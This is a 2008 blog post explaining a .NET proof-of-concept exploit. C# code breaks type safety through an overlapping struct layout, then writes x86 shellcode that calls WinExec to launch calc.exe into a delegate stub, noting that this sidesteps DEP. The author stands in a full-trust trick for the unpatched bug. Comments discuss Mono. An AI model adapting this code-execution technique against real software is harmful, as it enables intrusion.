# Saturday, 13 September 2008
« Critical .NET Security Vulnerability | Main | New Development Snapshot »
Writing a .NET Security Exploit PoC

Let's start out with some convenient types that allow bit twiddeling once we've subverted the type system:

class Union1
{
  internal volatile int i;
  internal volatile int j;
}

class Union2
{
  internal volatile object o;
  internal volatile int[] arr;
}

Now we need a way to get two different references to the same object. This is where the exploit comes in, but since I'm not going to publish an exploit for an unpatched bug, we'll make do with something that works but requires full trust:

[StructLayout(LayoutKind.Explicit)]
struct UnsafeUnion
{
  [FieldOffset(0)]
  internal Union1 u1;
  [FieldOffset(0)]
  internal Union2 u2;
}

static Union1 TypeSystemHole(Union2 u2)
{
  // NOT ACTUALLY A SECURITY HOLE!
  // You need full trust to execute this code.
  UnsafeUnion uu = new UnsafeUnion();
  uu.u2 = u2;
  return uu.u1;
}

Now for the interesting bit, getting some x86 code to execute:

Union1 u1;
Union2 u2 = new Union2();
u1 = TypeSystemHole(u2);

// u1 and u2 now reference the same object,
// meaning that we can now convert arbitrary integer
// into objects or arrays (and v.v.)

ThreadStart del = new ThreadStart(DummyMethod);

// A delegate provides an easy way to call the code we're
// generating. As it turns out, it is also a good way
// to bypass DEP, because the delegate stub is in writable
// executable memory.


u2.o = del;
u1.j = u1.i;
u1.j = u2.arr[2] - 12;

// Make the delegate object accessible via the object[],
// then get the address the delegate points to and make
// it accessible via the object[] reference.

// The x86 code we're creating is:
//
// 6A 05            push 5
// 68 xx xx xx xx   push offset string "calc.exe"
// B8 xx xx xx xx   mov eax,<address of kernel32!WinExec>
// FF D0            call eax
// C3               ret
//

MemoryStream mem = new MemoryStream();
BinaryWriter bw = new BinaryWriter(mem);
bw.Write((byte)0x6A);
bw.Write((byte)0x05);
bw.Write((byte)0x68);
u2.o = Encoding.ASCII.GetBytes("calc.exe\0");
bw.Write(u1.i + 8);
bw.Write((byte)0xB8);
bw.Write(GetProcAddressAny("WinExec"));
bw.Write((byte)0xFF);
bw.Write((byte)0xD0);
bw.Write((byte)0xC3);
bw.Write(0);

// Now that we've created the code, copy it into the delegate
// stub memory area.


byte[] tmp = mem.ToArray();
for (int i = 0; i < tmp.Length / 4; i++)
{
  u2.arr[1 + i] = BitConverter.ToInt32(tmp, i * 4);
}

// Invoke the delegate, which will result in running our
// code, instead of the delegate stub.

del();

The missing piece is GetProcAddressAny. It basically searches memory for kernel32 and looks up the address of the WinExec function.

The full source is available here: TypeSafetyExploitPoC.cs

Note that this PoC requires full trust and obviously only works on x86, but all the ideas are applicable to x64 as well.

Saturday, 13 September 2008 09:03:01 (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]
Tuesday, 16 September 2008 06:47:20 (W. Europe Daylight Time, UTC+02:00)
Interesting find! The latest mono does not seem to suffer the same fate as MSFT .NET:

Mono JIT compiler version 1.9.1 (tarball)
Copyright (C) 2002-2007 Novell, Inc and Contributors. www.mono-project.com
TLS: normal
GC: Included Boehm (with typed GC)
SIGSEGV: normal
Notification: Thread + polling
Architecture: x86
Disabled: none

Unhandled Exception: System.TypeInitializationException: An exception was thrown by the type initializer for TypeSafetyExploitPoC ---> Syste
m.IndexOutOfRangeException: Array index is out of range.
at TypeSafetyExploitPoC+Mem..ctor () [0x00000]
at TypeSafetyExploitPoC..cctor () [0x00000] --- End of inner exception stack trace ---
Tuesday, 16 September 2008 08:32:05 (W. Europe Daylight Time, UTC+02:00)
This code is specific to .NET (because it depends on the internal layout of things like arrays and delegates, so it's no wonder it doesn't work on Mono.

However, *if* Mono has a typesafety hole, a similar exploit could easily be constructed.
Tuesday, 16 September 2008 11:43:13 (W. Europe Daylight Time, UTC+02:00)
Good point, trying it...
Name
E-mail
Home page

I apologize for the lameness of this, but the comment spam was driving me nuts. In order to be able to post a comment, you need to answer a simple question. Hopefully this question is easy enough not to annoy serious commenters, but hard enough to keep the spammers away.

Anti-Spam Question: What method on java.lang.System returns an object's original hashcode (i.e. the one that would be returned by java.lang.Object.hashCode() if it wasn't overridden)? (case is significant)

Answer:  
Comment (HTML not allowed)  

Live Comment Preview